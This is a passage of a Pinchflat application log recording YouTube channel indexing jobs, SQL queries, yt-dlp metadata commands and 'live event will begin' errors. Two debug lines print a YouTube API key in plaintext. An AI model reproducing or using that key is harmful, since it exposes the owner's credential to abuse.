"nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:46:30.349 [debug] QUERY OK source="media_items" db=0.1ms idle=130.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:46:30.350 [debug] QUERY OK source="tasks" db=0.1ms idle=131.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800037, 30, ~U[2026-02-10 22:46:30Z], ~U[2026-02-10 22:46:30Z]] 16:46:30.350 [info] {"args":{"id":30},"id":3799999,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":135248,"event":"job:stop","queue_time":515719,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:30.368 [debug] QUERY OK source="media_items" db=0.4ms idle=17.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 16:46:30.368 [debug] QUERY OK source="settings" db=0.1ms idle=18.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.368 [debug] QUERY OK source="settings" db=0.0ms idle=18.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.369 [debug] Running yt-dlp command for action: get_media_attributes 16:46:30.382 [debug] QUERY OK source="settings" db=0.0ms idle=31.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.382 [debug] QUERY OK source="settings" db=0.0ms idle=26.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.382 [debug] QUERY OK source="settings" db=0.0ms idle=14.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:30.382 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/22/f3/22f3ef4cd967057c3b5c7c8652513eec71f27b760e94abe1f9a10d0347cffdb8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:46:31.216 [info] {"args":{"id":17},"id":3800000,"meta":{},"system_time":1770763591216633102,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:31.216 [debug] QUERY OK source="sources" db=0.1ms idle=834.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:46:31.217 [debug] QUERY OK source="settings" db=0.0ms idle=834.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:31.217 [debug] QUERY OK source="media_profiles" db=0.1ms idle=834.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:31.217 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:31.217 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:46:31.217 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:31.217 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:31.309 [debug] QUERY OK source="media_items" db=0.4ms idle=91.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:46:31.309 [debug] QUERY OK source="media_items" db=0.2ms idle=92.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:46:31.310 [debug] QUERY OK source="tasks" db=0.1ms idle=92.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800038, 17, ~U[2026-02-10 22:46:31Z], ~U[2026-02-10 22:46:31Z]] 16:46:31.310 [info] {"args":{"id":17},"id":3800000,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":94048,"event":"job:stop","queue_time":559724,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:31.694 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/22/f3/22f3ef4cd967057c3b5c7c8652513eec71f27b760e94abe1f9a10d0347cffdb8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 16:46:31.694 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 16:46:31.695 [debug] QUERY OK source="settings" db=0.1ms idle=384.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:31.695 [debug] QUERY OK source="settings" db=0.0ms idle=384.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:31.695 [debug] Running yt-dlp command for action: get_media_attributes 16:46:31.695 [debug] QUERY OK source="settings" db=0.0ms idle=385.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:31.696 [debug] QUERY OK source="settings" db=0.0ms idle=385.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:31.696 [debug] QUERY OK source="settings" db=0.0ms idle=379.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:31.696 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/1e/e6/1ee6db3e9976533c3f93e88b1dd1caa60777400b9eed219ec9d5a19b845e95c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:46:32.959 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/1e/e6/1ee6db3e9976533c3f93e88b1dd1caa60777400b9eed219ec9d5a19b845e95c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 16:46:32.960 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 16:46:32.960 [debug] QUERY OK source="media_items" db=0.4ms idle=748.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 16:46:32.961 [debug] QUERY OK source="tasks" db=0.1ms idle=82.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800039, 19, ~U[2026-02-10 22:46:32Z], ~U[2026-02-10 22:46:32Z]] 16:46:32.961 [info] {"args":{"id":19},"id":3799998,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2746261,"event":"job:stop","queue_time":870191,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:33.219 [info] {"args":{"id":33},"id":3800001,"meta":{},"system_time":1770763593219634328,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:33.219 [debug] QUERY OK source="sources" db=0.1ms idle=258.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:46:33.220 [debug] QUERY OK source="settings" db=0.1ms idle=258.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:33.220 [debug] QUERY OK source="media_profiles" db=0.1ms idle=252.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:33.220 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:33.220 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:46:33.220 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:33.220 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:33.302 [debug] QUERY OK source="media_items" db=0.8ms idle=81.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 16:46:33.303 [debug] QUERY OK source="media_items" db=0.5ms idle=82.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:46:33.304 [debug] QUERY OK source="tasks" db=0.1ms idle=83.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800040, 33, ~U[2026-02-10 22:46:33Z], ~U[2026-02-10 22:46:33Z]] 16:46:33.304 [info] {"args":{"id":33},"id":3800001,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":85101,"event":"job:stop","queue_time":515037,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:34.220 [info] {"args":{"id":12},"id":3800002,"meta":{},"system_time":1770763594220673298,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:34.220 [info] 